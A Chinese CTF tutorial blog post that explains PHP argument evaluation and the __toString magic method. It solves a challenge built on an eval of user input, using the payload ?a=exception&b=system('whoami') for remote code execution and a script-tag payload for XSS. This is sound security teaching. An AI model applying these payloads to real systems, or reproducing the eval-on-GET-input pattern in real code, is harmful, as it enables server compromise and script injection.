当前位置: 首页 > 技术干货 > 连异常报错也能拿到flag?

连异常报错也能拿到flag?

发表于:2021-10-15 14:26 作者: Lxxx 阅读数(185人)

CTF练兵场,点我体验

前言:

本篇将讲述PHP函数以及对象在使用过程中经常出现的错误,通过一个个小实验纠正这些错误,并且从安全的角度出发,利用这些可能存在的错误,捕获这些异常,甚至完成RCE操作。

脸滚键盘打出来的函数也能执行?

没错,该部分内容如上方小标题所示,在PHP中,即使你瞎打的函数,在经过一番调整后,可能程序就能正常运行了。

比如,有如下PHP代码:

<?php
tian(phpinfo());

在这一段PHP代码中,随便瞎编了一个函数,并且向函数提供了一个phpinfo()参数,这样的PHP代码能运行起来吗?

当然不能,除非tian这个函数在内部已经自定义好了,否则这一串代码是一定报错的。

6e93ee62a84689ac3a1d5671ac6dd16.png


那么有没有办法让PHP正常执行这个程序呢?

有,那必须有,甚至只需要一行

<?php
function tian(){}
tian(phpinfo());

新添加的这一行代码本质上就是给tian这个函数进行一个声明,这样整一个程序就能正常运行了。

这个时候可能就会有小机灵鬼发现了一个问题,在tian这个函数里并没有要求函数需要有输入啊,但是为什么程序就正常执行了呢?

从小开始接触括号的时候,老师就一直强调,有括号的要先算括号内的,程序自然也遵循着这样的原则,有括号的地方,那就先执行括号内的代码,至于后续是否报错,先把括号里的东西执行了再说。

举一反三,既然自定义的函数可以这么操作,那么PHP默认自带的一些函数那肯定也可以这么操作:

举个最常见的函数:

<?php
$sql = mysqli_connect(phpinfo(),"root","root","mysql");

mysql_connect作为过程化风格函数,在开发中十分常用,这里我们将数据库连接地址的位置参数写成phpinfo(),这个时候程序可以将phpinfo()打印出来。

打印出来.png

至此,大家应该能明白为什么脸滚键盘打出来的函数也能执行了,那么除了函数,脸滚出来的对象能不能执行呢?

为什么我的对象打印不出来?

在初学PHP面向对象的时候,可能经常会犯的一个错误,代码如下:

<?php
class tian{
   public $id = "Lxxx";
   function getid()
  {
       return $this->id;
  }
}

echo new tian();

这个代码报错如下:

f50cd19118c8bd41a076300a8445edc.png

这个程序错误就出在想要将对象直接打印出来,想要解决这样的报错,在PHP中有一个自带的魔术方法__toString,这个魔术方法会在对象被当做字符串的时候调用。

因此将上方程序进行修改,修改后的代码如下:

<?php
class tian{
   public $id = "Lxxx";
   function getid()
  {
       return $this->id;
  }
   function __toString()
  {
       return $this->id;
  }
}

echo new tian();

这个时候,程序就可以正常执行了

正常执行了.png

这个时候我们修改一下代码:

<?php
class tian{
   public $id;
   function __construct($id)
  {
       $this->id = $id;
  }
   function __toString()
  {
       return $this->id;
  }
}
echo new tian(phpinfo());

这个时候,结合上面的内容,应该就能理解这一部分代码

代码执行如下:

代码执行如下.png

程序内如果有一个类,新建对象的时候需要一个参数,这个时候我们往参数里面放phpinfo(),程序会先执行phpinfo()

那么将这两个特性结合起来有什么用呢?

下面就给出一道CTF例题,利用上方的性质,结合异常捕获来达到RCE。

表演一个异常报错实现RCE

题目代码如下:

<?php
//flag in flag.php
highlight_file(__FILE__);
if ( isset($_GET['a']) && isset($_GET['b']))
{
   $a = $_GET['a'];
   $b = $_GET['b'];
   eval("echo new $a($b());");
}

关键代码为:eval("echo new $a($b());");

首先,这一部分代码没有自定义的类,因此需要用到PHP中自带的类

我们先测试一下,传payload:?a=mysqli&b=phpinfo

info.png

这个时候是正常回显phpinfo,但是想要命令执行还是有些许距离。

因此我们需要找到一个PHP自带类,并且这个类需要有__toString()魔术方法,我们这里找到一个类为Exception

其中PHP官方手册对这个类的__toString()描述如下:

c34665c4e8e3ec4e7fd594b94d1ad36.png

这个类会将传入的异常参数直接输出,那么如果将命令执行作为参数传入呢?

<?php
echo new Exception(system("whoami")());

62ea027d612955eed3ff9160db8df75.png

那就先执行命令,然后将执行命令的结果作为参数传给Exception

所以传payload:?a=exception&b=system("whoami")

0f9ecc7b0801bd2f9622e473a773aa0.png

这个即可RCE

除此之外,Exception__toString()魔术方法是直接输出,不存在命令执行的过程,因此在这个地方可能存在XSS。

举个例子:

<?php
echo new Exception("$_GET[1]");

这个时候传:?1=<script>alert("XSS");</script>

是可以XSS

2bf9a51dbcae8de8d8605b51d66b6a9.png

当然,还有许多其他的内置类能实现同样的功能,本篇文章就起到一个抛砖引玉的作用。

大家都在学

Wireshark数据抓包分析之FTP协议

VulnHub渗透测试实战靶场Wakanda 1.0

Joomla未授权创建特权用户漏洞